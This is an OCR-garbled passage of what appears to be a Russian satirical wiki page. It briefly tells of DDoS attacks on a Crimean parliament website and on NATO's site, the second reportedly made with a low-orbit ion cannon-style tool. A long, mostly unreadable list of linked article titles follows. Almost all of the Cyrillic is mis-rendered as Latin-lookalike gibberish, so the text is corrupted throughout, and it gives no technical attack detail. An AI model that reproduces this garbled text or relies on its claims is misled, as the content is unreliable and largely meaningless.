BepxoBuoro Coseta Kprima. OTBETCTBEHHOCTE Ha cebst TyT ke B3siia «Kubepcotus» (IT-kpeiio EBpomatimaHa,
paHee mypmocuBliee caliT BepxoBHoM Papgbl), X0Ts MacmiTabbl aTaKy BKYIle C MUHOIOCCKUMY aUNUITHUKAMU
3aCTaBJISAIOT CUILHO YCOMHUTHCS B UX IPpUYAacTHOCTHU. Yeped 2 gHA xKutenu FOro-BocToka Havaimy NUINTL CBOU
oTBeT YeMmOepJieHy: B MHOTOYHCJIEHHLIX T'PYIIIaX HECOTJIaCHBIX C MalaHyThIM PeXUMOM OB pacIpocTpaHeH
MIPU3BIB, KJIWY TaK XKe KUHYJIM B POCCUUCKUX I'PYINaxX U yKe K Bedepy o1 HU3KOOPOUTAIbHEIM HOHHBIM 3aJIITOM
ser cam caut HATO, mocne 4ero mpojexkar ellle IMOYTH CYTKH.

CM. Takxke

¢ ATaka 00e3yMeBIMX 3KCIIyaTaTOPOB M3 KoMnauuu Prime Lab Ha mopTasn pafguKaibHBIX JIEHTSIEB
antijob.anho.org
e Xopolllas cTaThd Ha TEMY
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AlexSword Avanturist Butthurt Checkyou DDoS Encyclopedia Dramatica/Atenct Fandom
Grammar nazi IQ Livejournal.com Macvs.PC S Special Olympics TeX X ue ymep AGoOpT
ABTOCpauu ApfekBaTHas TOYKa 3peHUs AKTHUBHasA rpakKgaHCKasd MOo3ulnmsag  AJIKCHUC
AprymeHTanus B mmojieMuke Apmarta ApHonbnd 3ykarow AprtedakTrel IleTepOypra ATeusMm
Atensm/Orthodox Edition FBecmosnesnas Hayka bBuTBa cjioHa ¢ KUTOM BoguOuigusHr
Boknanomoututr Bokc no nepennucke bBoruHkomeranue bynbbocpau Bypnenue roBe B/ma Baiin
Baupganmu3am Bamkysep 2010 Jleouupm BacumeBckuii BOpoc roBHa B BEHTUISATOP Berassl
Benukasi OTeuecTBeHHAasI BOMHa B3eTur unu He B3neTuT? Bununodpunuss BuO BoiiHa mpaBoK
BoiiHa IATHUITEI TPUHAAIIATOTO ['eoprueBcKas JeHTOuYKa I[jiobanbHoe moTtemnenue I['MO Tobnun
l'oBraps Torucpau [I'papmyc HeamekBaTa [I'paxkpanHckas BouHa B Poccum ['punnuc
IDemoTuBalMOHHLIN TocTep [JletepmMuHu3M [luasnor ¢ coborr  [IMBaHHBIE BOMCKA
[pyx06a Mexay MyKYUHOU U KeHIuHOU [IbixoTa EBpomaniman EBpomeiins! nu pycckue? Epa
KanpozagporctBo 2KeHckasa nmoruka 2KeHsa [JyxoBHHKOBa 2KeCTOKOCTh B KOMITBIOTEPHEIX UT'Pax
WpaHckuii Bopoc HMcTopus mpeBHel YKpauHb Kak HaM 00ycTpouts Poccuio Kuwura myuiie
Kuura pexkopnos I'manecca Kowmmiekcer Komucpau Kputepuiui [Tonmepa KpoBras mecTb
Kpokomun Kynunapubiii cHo6 Kyprunsas Kypuna unu simo? JlaBxe#T Jleramaiis Jlenp-nus
Jlynueii 3aroBop Masg3onen JlenuHa Marigan Munron MopandaxecTBo MopreHmTrepH
Myxuku vs 6a6b1  Ha camom mene Hapgmo3r Hayka vs penuruss HaydHBIE KpeallmOHU3M
HamnonanbHas ugest He anume HoT Bcero cemb (O6e3bsiHa C rpaHaATOH
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